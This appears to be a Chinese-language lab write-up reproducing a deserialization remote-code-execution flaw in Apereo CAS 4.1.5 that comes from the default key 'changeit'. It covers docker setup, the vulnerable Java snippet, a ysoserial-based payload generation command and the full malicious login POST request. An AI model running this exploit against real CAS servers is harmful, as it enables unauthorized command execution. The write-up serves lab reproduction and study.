Apereo CAS 4.1 反序列化命令執行漏洞

Apereo CAS是一款Apereo發布的集中認證服務平臺，常被用于企業內部單點登錄系統。其4.1.7版本之前存在一處默認密鑰的問題，利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞，進而執行任意命令。

參考鏈接：

• https://apereo.github.io/2016/04/08/commonsvulndisc/

環境搭建

執行如下命令啟動一個Apereo CAS 4.1.5：

docker-compose up -d

環境啟動后，訪問http://your-ip:8080/cas/login即可查看到登錄頁面。

漏洞復現

漏洞原理實際上是Webflow中使用了默認密鑰changeit：

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

我們使用Apereo-CAS-Attack來復現這個漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload：

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

然后我們登錄CAS并抓包，將Body中的execution值替換成上面生成的Payload發送：

POST /cas/login HTTP/1.1
Host: your-ip
Content-Length: 2287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://your-ip:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
Connection: close

username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN

登錄Apereo CAS，可見touch /tmp/success已成功執行：